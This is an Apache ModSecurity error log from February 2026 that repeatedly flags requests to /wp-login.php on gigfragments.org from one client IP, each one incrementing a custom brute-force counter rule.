[Fri Feb 27 20:46:53.169529 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSPcKBhrfI6KNv9Rim7QAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:55.740141 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSP8KBhrfI6KNv9Rim8QAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:56.931604 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSQMKBhrfI6KNv9Rim9QAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:46:59.492278 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSQ8KBhrfI6KNv9Rim_wAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:02.087903 2026] [:error] [pid 56075:tid 56078] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSRsKBhrfI6KNv9RinCQAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:04.704844 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSSMKBhrfI6KNv9RinDwAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:05.898959 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSScKBhrfI6KNv9RinEAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:08.460862 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSTMKBhrfI6KNv9RinEwAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:09.711742 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSTcKBhrfI6KNv9RinFAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:12.254183 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSUMKBhrfI6KNv9RinGQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:13.434785 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSUcKBhrfI6KNv9RinGgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:15.878889 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSU8KBhrfI6KNv9RinHgAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:17.056807 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSVcKBhrfI6KNv9RinIQAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:19.539435 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSV8KBhrfI6KNv9RinKAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:20.706074 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSWMKBhrfI6KNv9RinKwAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:23.184013 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSW8KBhrfI6KNv9RinLgAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:25.014891 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSXcKBhrfI6KNv9RinMgAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:27.553877 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSX8KBhrfI6KNv9RinOAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:28.767667 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSYMKBhrfI6KNv9RinOQAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:31.356251 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSY8KBhrfI6KNv9RinPgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:32.540087 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSZMKBhrfI6KNv9RinPwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:35.081805 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSZ8KBhrfI6KNv9RinQQAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:36.269252 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSaMKBhrfI6KNv9RinRgAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:38.912219 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSasKBhrfI6KNv9RinSgAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:40.426508 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSbMKBhrfI6KNv9RinSwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:42.914955 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSbsKBhrfI6KNv9RinTwAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:44.160440 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGScMKBhrfI6KNv9RinUQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:46.642536 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGScsKBhrfI6KNv9RinVQAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:47.860731 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSc8KBhrfI6KNv9RinVgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:50.360058 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSdsKBhrfI6KNv9RinXgAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:51.570514 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSd8KBhrfI6KNv9RinXwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:54.082619 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSesKBhrfI6KNv9RinaAAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:55.320972 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSe8KBhrfI6KNv9RincAAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:58.028499 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSfsKBhrfI6KNv9RindgAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:47:59.269279 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSf8KBhrfI6KNv9RindwAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:01.993357 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSgcKBhrfI6KNv9RinfAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:03.220216 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSg8KBhrfI6KNv9RinfgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:05.841247 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGShcKBhrfI6KNv9RiniAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:07.066996 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSh8KBhrfI6KNv9RinjAAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:09.601138 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSicKBhrfI6KNv9RinjwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:10.799070 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSisKBhrfI6KNv9RinkwAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:13.458309 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSjcKBhrfI6KNv9RinmQAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:14.779369 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSjsKBhrfI6KNv9RinogAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:17.393205 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSkcKBhrfI6KNv9RinqwAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:19.508783 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSk8KBhrfI6KNv9RinuAAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:22.038537 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSlsKBhrfI6KNv9RinvwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:24.633379 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSmMKBhrfI6KNv9RinwwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:27.158536 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSm8KBhrfI6KNv9RinzAAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:28.390324 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSnMKBhrfI6KNv9RinzwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:30.941859 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSnsKBhrfI6KNv9Rin1wAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:32.134805 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSoMKBhrfI6KNv9Rin2QAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:34.673043 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSosKBhrfI6KNv9Rin4gAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:35.967452 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSo8KBhrfI6KNv9Rin6AAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:38.570918 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSpsKBhrfI6KNv9Rin9AAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 20:48:39.804251 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:53284] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGSp8KBhrfI6KNv9Rin-gAAABQ"], referer: https://gigfragments.org/wp-login.php
